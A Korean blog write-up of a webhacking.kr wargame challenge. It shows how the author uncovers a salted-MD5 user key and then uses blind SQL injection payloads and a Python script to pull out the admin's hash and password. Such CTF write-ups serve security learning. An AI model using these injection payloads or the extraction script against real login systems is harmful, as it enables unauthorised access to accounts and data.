티스토리 뷰
username, password를 입력할 수 있고 login, join 기능을 이용할 수 있다.
먼저 join을 누르고 username에는 자신이 사용하는 아이디를 입력하고 패스워드는 비워두고 join을 하면 아래와 같이 Done 표시를 볼 수 있다.
back을 누르고 첫 페이지에서 join한 계정 정보를 입력하고 login 해보면 아래와 같이 hi! do9dark와 32글자의 user key가 표시된다.
user key : 0eda241fc65ccf35d9743309ac395215
32글자이기 때문에 md5 디코딩해보면 zombie라는 값을 구할 수 있다.
http://md5decoder.org/
user key에 대해서 좀 더 많은 정보를 얻기 위해서 username: a, password: a로 join하고 login해보면 아래와 같이 기존 user key와 다른 값을 얻을 수 있다.
이 값 역시 32글자로 되어 있기 때문에 md5로 디코딩해보면 azombie라는 값을 얻을 수 있다. (구글링해서 찾을 수도 있다.)
즉, join할 때 입력한 패스워드 값 + zombie 를 md5해서 user key로 표시해주는 것이라고 할 수 있다.
a + zombie 해서 md5('azombie') = 884b12461277f5c29baa1ab2479dacd8
HINT를 보면 admin으로 로그인하였을 경우에 이 문제를 풀 수 있기 때문에 admin의 user key 값을 구해야 한다.
username에 admin을 하고 password 값에 임의의 값을 넣을 경우 위와 같이 Wrong! 표시가 된다.
하지만 username에 admin'#를 입력해서 password 인증 부분을 주석 처리할 경우 아래와 같이 Wrong password! 표시가 된다.
username: admin' and '1'='1'#
Wrong password!
username: admin' and '1'='2'#
Wrong!
username 뒷 부분은 주석 처리해주고 AND 연산자를 이용하여 username의 참, 거짓 여부에 따라서 표시되는 형태가 다르다는 점을 이용해서 Blind SQL Injection을 할 수 있다.
user key는 md5로 인코딩되어 있기 때문에 32자리이고 HINT에 나와있는 컬럼명과 앞에서 알아낸 정보를 이용해서 파이썬으로 user key를 알 수 있다.
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import httplib import urllib userkey = '' for i in range(1,33): rst = '' for j in range(48,122): params = urllib.urlencode({'id':'admin\' and (ascii(substr(pw,'+str(i)+',1)))=('+str(j)+')#','pw':''}) headers = {'Content-type':'application/x-www-form-urlencoded', 'Cookie':'PHPSESSID=225b0794pin51g388pbvp9o7k3'} conn=httplib.HTTPConnection("webhacking.kr") conn.request('POST','/challenge/bonus/bonus-2/index.php', params, headers) data = conn.getresponse().read() conn.close() if(data.find('Wrong password!') != -1): rst += chr(j) print 'Value:', chr(j) userkey += rst break print userkey | cs |
user key : 2a93a7cea083c6e9e02c97ec5a5d715a
해당 값을 구글링해보면 rainbowzombie를 md5한 값이라는 것을 알 수 있다.
따라서 admin의 password는 rainbow이고 admin 계정으로 로그인하면 문제를 풀 수 있다.
'Wargame > Webhacking.kr' 카테고리의 다른 글
Challenge 27 (0) | 2015.08.07 |
---|---|
Challenge 26 (0) | 2015.08.07 |
Challenge 25 (0) | 2015.08.07 |
Challenge 24 (0) | 2015.08.02 |
Challenge 23 (0) | 2015.08.02 |
Challenge 21 (0) | 2015.07.12 |
Challenge 20 (0) | 2015.07.09 |
Challenge 19 (0) | 2015.07.08 |
Challenge 18 (0) | 2015.07.07 |
Challenge 17 (0) | 2015.07.07 |